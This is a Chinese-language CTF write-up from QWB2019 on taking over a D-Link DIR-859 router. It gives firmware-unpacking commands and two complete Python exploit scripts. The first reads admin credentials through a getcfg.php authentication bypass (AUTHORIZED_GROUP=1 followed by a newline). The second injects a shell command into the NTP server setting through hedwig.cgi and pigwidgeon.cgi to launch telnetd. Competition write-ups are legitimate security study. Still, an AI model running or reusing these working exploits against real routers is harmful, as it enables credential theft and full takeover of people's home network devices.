QWB2019線下Real World-Router WP

0x00前言

今年強網杯線下只有PWN,Web狗覺得要來旅遊了,不過看到Real World部分上來發了個D-Link路由器,還是決定玩一下,畢竟畢設中玩了不少路由器還是有點經驗的。至於其他的題目,就只能看神仙打架了:P,膜手日Chrome、Qemu、各種CMS的大佬。

0x01題目

拿到一個D-Link DIR-859勁路由、串口調試設備和路由器固件。看到TTL轉USB設備先去焊了會板子但我也不會在線調試棧溢出,就去解壓固件了。注意這裏binwalk和firmware-mod-kit不能直接解壓,要先用dd切一下文件:

dd if=DIR859Ax_FW106b01_beta01_patch.bin of=DIR-859.img bs=1310868 skip=1
./unsquashfs_all.sh DIR-859.img

可以看到版本是B-1.06,而官網最新的固件型號是B-1.05,這兩個固件差不多,cgibin大小有點不同,考慮後面比對一下。題目要求是拿到路由器shell,打開telnet服務,並在/tmp目錄下面寫指定文件。

0x02初步分析

首先先去CVE搜一下,當然不出意外的是沒有CVE漏洞,題目中也說明了是主辦方挖出了漏洞,已經通報廠商,但是還沒有修補,但是現在看來其歷史漏洞也沒有。
打開路由器管理頁面,與DIR-8xxx系列一模一樣的界面撲面而來,除了換了版本固件號之外都一樣,COPYRIGHT也只是到2015。考慮用相近版本號的已知漏洞來測一下。
在這裏插入圖片描述

0x03漏洞利用

掏出之前DIR-868和DIR-817LW上用的exp,改一下先來讀一下賬密:

# -*- coding:utf-8 -*-
import requests, os
from lxml import etree
from traceback import print_exc
try:
    from urllib.parse import urljoin
except:
    from urlparse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import re

url = 'http://192.168.0.1'
print("Exploit start...")
#########################get user and pass###########################
try:
    res = requests.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"RUNTIME.WPS.WLAN-1","AUTHORIZED_GROUP":"1\n"})
    # print(res.content)
except:
    print("exploit fail...")
    print("you can try this command:")
    print("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url))
    print(os.system("curl -k -d \"SERVICES=RUNTIME.WPS.WLAN-1&AUTHORIZED_GROUP=1%0a\" {}getcfg.php".format(url)))
    exit()

if 'Not authorized' in res.content:
    print("authorize fail..")
    exit()
elif "BAD REQUEST" in res.content:
    print("BAD REQUEST, unsupported HTTP request")

try:
    name = re.findall("<name>(.*)</name>",res.content)
    passwd = re.findall("<password>(.*)</password>",res.content)
    print("name: %s\npasswd: %s\n"%(name[0],passwd[0]))
except:
    print("fail...")
    print(res.content)

區別是DIR-868/817LW是通過讀取DEVICE.ACCOUNT.xml.php文件來獲取賬密,DIR-859是要通過RUNTIME.WPS.WLAN-1.xml.php來獲取,尋找過程就是把所有文件全讀一遍再Ctrl+F就可以了。漏洞出現在POST傳入AUTHORIZED_GROUP=1\n可實現身份認證,通過getcfg.php讀取配置文件。
但是題目要求是要拿到shell,即還需要一個命令執行漏洞來開啓telnet服務,找相近型號路由器,發現了DIR-850L命令執行漏洞,其中漏洞存在於/etc/services/DEVICE.TIME.php

#/etc/services/DEVICE.TIME.php
   163	$enable = query("/device/time/ntp/enable");
   164	if($enable=="") $enable = 0;
   165	$enablev6 = query("/device/time/ntp6/enable");
   166	if($enablev6=="") $enablev6 = 0;
   167	$server = query("/device/time/ntp/server");
   ...
   172	if ($enable==1 && $enablev6==1)
   ...
   184				'SERVER4='.$server.'\n'.
   ...
   189				'	ntpclient -h $SERVER4 -i 5 -s -4 > /dev/console\n'.

其中$SERVER變量被拼接到了命令執行的字符串中,造成了命令注入。
下面的操作需要登陸,HNAP登陸過程有點小複雜,就沒寫,下面的腳本需要賬密登陸後把cookie填進去

# -*- coding:utf-8 -*-

import requests, os
from lxml import etree
from traceback import print_exc
try:
    from urllib.parse import urljoin
except:
    from urlparse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import re

url = 'http://192.168.0.1/'
print("Exploit continuing...")
COMMAND = 'telnetd'
uid = 'b8gh3GJptw'         ###update it!!!!!
session = requests.Session()
session.verify = False
session.cookies.update({"uid": uid})
################get DEVICE.TIME###############################
try:
    res = session.post(urljoin(url,'/getcfg.php'),data={"SERVICES":"DEVICE.TIME","AUTHORIZED_GROUP":"1\n"})
    # print(res.content)
    tree = etree.fromstring(res.content)
    tree.xpath("//ntp/enable")[0].text = "1"
    tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
    tree.xpath("//ntp6/enable")[0].text = "1"
    data = etree.tostring(tree)
    # print(data)
except:
    print_exc()
    pass
# exit()
#################POST hedwig.cgi###############################
print("hedwig")
headers = {"Content-Type": "text/xml"}
data = etree.tostring(tree)
resp = session.post(urljoin(url, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    sys.exit()
print("OK")
###############POST pigwidgeon.cgi##############################
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(url, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
    print("Failed!")
    print(resp.text)
    exit()
print("OK")

這樣就打開了路由器的telnet服務,可以telnet 192.168.0.1登陸上去進行操作了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章